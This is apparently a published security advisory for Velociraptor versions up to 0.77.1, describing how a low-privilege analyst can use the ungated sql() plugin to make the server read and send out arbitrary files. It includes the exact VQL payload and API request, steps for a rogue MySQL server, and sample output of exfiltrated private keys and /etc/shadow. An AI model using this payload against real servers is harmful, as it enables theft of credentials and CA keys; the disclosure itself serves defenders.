Vulnerability GHSA-9qq5-422f-33c2

Medium Risk
MEDIUM RISK
CVSS Score: 6.5
Score Range: 4.0–6.9
Medium severity vulnerabilities (CVSS 4.0–6.9). Important issues that meaningfully reduce security confidence.
5 hours ago
November 09, 2026 at 10:25 PM UTC
Velociraptor: Low-priv analyst reads arbitrary server files via ungated sql() VQL plugin
<0.77.2
<0.77.2

Summary

Velociraptor: Low-priv analyst reads arbitrary server files via ungated sql() VQL plugin

Details

Summary

The sql() VQL plugin runs a caller-supplied database driver and connection string with no permission check (vql/parsers/sql/sql.go:93, SQLPlugin.Call). For driver='mysql' or driver='postgres' the handle comes from GetHandleOther (sql.go:39), which passes the connection string straight to Go database/sql sql.Open (sql.go:51) and executes the query (sql.go:159).

The plugin declares FILESYSTEM_READ only as Info().Permissions metadata (sql.go:219). That metadata is never consulted at runtime: metadata.go:19 stores it as a string that only the documentation exporter reads (api/reflect.go:82-110). Every sibling network plugin (http_client, netcat, s3, rsyslog) calls CheckAccess(acls.NETWORK) in its own body; sql() calls nothing.

The built-in analyst role holds ANY_QUERY but not FILESYSTEM_READ or NETWORK (acls/roles.go:222), and reaches this sink through the notebook query API.

Result: a low-priv analyst opens arbitrary outbound TCP connections and, through a rogue MySQL server's LOAD DATA LOCAL INFILE, reads any file the root-running server can read, including the deployment CA private key.

Affected

  • Velocidex/velociraptor server, <= v0.77.1 (latest release, 2026-06-23). Identical vulnerable code in master HEAD 1961e79 (2026-07-17).
  • Confirmed live-exploitable on the official ghcr.io/velocidex/velociraptor-server:latest image (build 0.77.1, commit bbe2a58).
  • Stock install, default Basic authenticator, any built-in analyst, investigator, or api role (all hold ANY_QUERY, none holds FILESYSTEM_READ or NETWORK).
  • No non-default flag required.

Root cause

SQLPlugin.Call (vql/parsers/sql/sql.go:93) parses the caller driver, connstring, and query arguments and reaches handle.Query (sql.go:159) without any vql_subsystem.CheckAccess call in its body. For driver='mysql' or driver='postgres' the handle comes from GetHandleOther (sql.go:39), which hands the attacker connection string to sql.Open (sql.go:51), so the plugin dials an arbitrary host and, through the MySQL client LOAD DATA LOCAL INFILE feature, reads local files. The plugin states its intended gate only as metadata, VQLMetadata().Permissions(acls.FILESYSTEM_READ) (sql.go:219), but MetadataBuilder.Permissions merely stores a string (vql/metadata.go:19) that is read only by the reflection exporter (api/reflect.go:82-110), never by the query engine. Every sibling network plugin enforces CheckAccess(acls.NETWORK) in its own body, so the omission in sql() is an enforcement oversight. The default analyst role grants ANY_QUERY without FILESYSTEM_READ or NETWORK (acls/roles.go:222), so a user the operator deliberately restricted still reaches the ungated sink.

Note on intent: acls/acls.go documents that specific permission combinations grant admin-equivalent power (SERVER_ARTIFACT_WRITER with COLLECT_SERVER, ARTIFACT_WRITER with COLLECT_CLIENT), but the analyst role holds none of them and is denied EXECVE, NETWORK, and FILESYSTEM_READ on every sibling plugin. If ANY_QUERY is nonetheless intended as trusted, the plugin's own Permissions(FILESYSTEM_READ) metadata and the runtime enforcement on all sibling plugins are misleading and should be reconciled; otherwise this is a missing runtime check.

Reproduction

ghcr.io/velocidex/velociraptor-server:latest (v0.77.1), default config, GUI on https://localhost:8889, one built-in analyst user.

  1. As analyst, confirm the control: the gated accessor denies the read.

    sql(driver='sqlite', accessor='file', file='/etc/passwd', query='SELECT 1') => sql: Field file Accessor file: PermissionDenied: Permission denied: [FILESYSTEM_READ]

  2. Start a rogue MySQL server on an attacker host that completes the handshake and answers any query with a LOAD DATA LOCAL INFILE <target> packet.

  3. As the same analyst, call the ungated branch through the notebook query API:

    POST /api/v1/UpdateNotebookCell (Basic auth + x-csrf-token) {"type":"vql","input":"SELECT * FROM sql(driver='mysql', connstring='x:y@tcp(:4499)/z?allowAllFiles=true', query='SELECT 1')"}

The rogue server receives the file:

QUERY: 'SELECT 1'
EXFIL 12860 bytes  /etc/velociraptor/server.config.yaml
  contains: CA private_key, gw_private_key, Frontend private_key

Live-verified: analyst pocdemo exfiltrated /etc/passwd, /etc/shadow (mode 0600), and server.config.yaml, each sha256 byte-identical to docker exec sha256sum, while http_client() on the same account returns PermissionDenied: [NETWORK].

Impact

  • CA and Frontend RSA private keys disclosed: forge client certificates, impersonate the server to every enrolled endpoint.
  • Any root-readable file on the server host disclosed (/etc/shadow, datastore user records with password hashes, cross-tenant orgs data).
  • Arbitrary outbound TCP from the server host through the same sink and the upload_sftp, upload_smb, upload_azure, upload_gcs plugins.
  • Root-owned file creation at any path via the sqlite branch (zero-permission data accessor plus an in-query ATTACH DATABASE).
  • Triggered by the lowest built-in query role, default config, one query, no admin interaction.

Credit

Jan Kahmen, turingpoint ( [email protected])

Timeline

Published
5 hours ago
November 09, 2026 at 10:25 PM UTC
Fixed (v0.77.2)
3 months ago
August 10, 2026 at 12:48 AM UTC
Last Modified
5 hours ago
November 09, 2026 at 10:30 PM UTC